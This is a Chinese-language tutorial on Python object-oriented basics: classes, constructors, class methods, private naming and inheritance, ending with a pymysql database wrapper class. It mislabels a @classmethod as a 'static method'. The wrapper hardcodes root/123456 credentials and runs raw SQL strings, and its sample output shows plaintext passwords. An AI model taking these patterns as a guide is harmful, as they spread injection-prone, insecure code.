但是,在Python当中,我们用实例直接去使用类的属性(对应上述代码p.name = '张三')这样的一个做法并不是最标准的

最标准的做法是:在类中利用魔术方法中的构造方法(__init__)定义实例变量

一个类的实例,在使用属性的时候,优先会去使用实例属性而非类的属性,只有在没有定义相关的实例属性的时候,才会去使用类的属性

#定义一个类
class People:
    #定义类的属性
    identity_card = ''

    #构造方法:实例化时,会自动调用的方法,并且可以将实例属性定义于此
    #self形参:类实例的引用,与其他语言的this关键字类似
    #self形参这个名字可以自定义(一般就用默认的self),位置需要在第一个
    def __init__(self):
        self.name = ''
        self.age = ''
        self.addr = ''
        print('类正在实例化')

    #析构方法:当实例不再被使用,即退出内存的时候,会调用此方法
    #当然,python中还有很多魔术方法,自行了解
    def __del__(self):
        print('实例使用结束')
       
    #定义类的方法
    def talk(self):
        print(f'{self.name}正在说话')

if __name__ == '__main__':
    p = People() #类的实例化
    p.name = '张三' #定义实例属性(并非类的属性)
    print(p.name)
    p.talk()

输出:

类正在实例化
张三
张三正在说话
实例使用结束

当然也可以直接在实例创建的时候就传参数

#定义一个类
class People:
    #定义类的属性
    identity_card = '1'

    #构造方法:实例化时,会自动调用的方法,并且可以将实例属性定义于此
    #self是
    def __init__(self,name,age,addr):
        self.name = name
        self.age = age
        self.addr = addr
        print('类正在实例化')

    #定义类的方法
    def talk(self):
        print(f'{self.name}正在说话')


if __name__ == '__main__':
    p = People("张三",'22','浙江') #类的实例化
    print(p.name)
    p.talk()

输出:

类正在实例化
张三
张三正在说话

静态方法:直接使用类名而非实例调用的方法,静态方法常驻类的内存空间

#定义一个类
class People:
    #定义类的属性
    identity_card = '123456'

    #构造方法:实例化时,会自动调用的方法,并且可以将实例属性定义于此
    #self形参:类实例的引用,与其他语言的this关键字类似
    #self形参这个名字可以自定义(一般就用默认的self),位置需要在第一个
    def __init__(self,name,age,addr):
        self.name = name
        self.age = age
        self.addr = addr
        print('类正在实例化')

    #定义类的方法
    def talk(self):
        print(f'{self.name}正在说话')

    #静态方法:直接使用类名而非实例调用的方法,静态方法常驻类的内存空间
    @classmethod
    def identity(cls): #cls表示对类本身的引用
        print(f"身份证号为:{cls.identity_card}") #类属性用cls来调用

if __name__ == '__main__':
    p = People("张三",'22','浙江') #类的实例化
    People.identity() #直接用类名来引用静态方法,虽然也可以p.identity(),但是这是不规范的

输出:

类正在实例化
身份证号为:123456

如何定义私有方法、受保护的方法?

#受保护的方法
def _test01(self):
    print("受保护的方法")
#私有方法
def __test02(self):
    print("私有方法")

继承怎么使用

class People:
       pass
#类Man继承自类People,即是People的子类
class Man(People):
    pass

继承的用法和PHP大同小异(继承方法、方法重写、方法扩展等都是一样的)

2、用面向对象实现数据库的基本功能

import pymysql
from pymysql.cursors import DictCursor


class DB:
    def __init__(self,host='127.0.0.1',user='root',password='123456',database='book',charset='utf8',type='default'):
        self.conn = pymysql.connect(host=host,user=user,password=password,database=database,charset=charset)
        self.cursor = None
        if type == "default":
            self.cursor = self.conn.cursor()
        elif type == "dict":
            self.cursor = self.conn.cursor(DictCursor)
        else:
            raise Exception('请输入有效类型(default或者dict)')
    def query(self,sql):
       self.cursor.execute(sql)
       result = self.cursor.fetchall()
       return result
    def update(self,sql):
        try:
            self.cursor.execute(sql)
            self.conn.commit()
            print("更新成功")
        except:
            print("更新出现问题,请检查")
    def __del__(self):
        self.conn.close()

if __name__ == '__main__':
    d = DB()
    result = d.query('select * from users')
    print(result)

结果:

(('zyf', 'Another_test123', 'admin'), ('fff', 'feng@456.com', 'student'), ('xiaoxiaof', 'xiaofeng123', 'teacher'))

如果要在其他模块调用:

from basic.db import DB
d = DB()
result = d.query('select * from users')
print(result)

输出:

(('zyf', 'Another_test123', 'admin'), ('fff', 'feng@456.com', 'student'), ('xiaoxiaof', 'xiaofeng123', 'teacher'))

作者:谁把我灯关了

物联沃分享整理
物联沃-IOTWORD物联网 » 系列二:Python安全开发入门基础(专为网络安全专家打造)

发表回复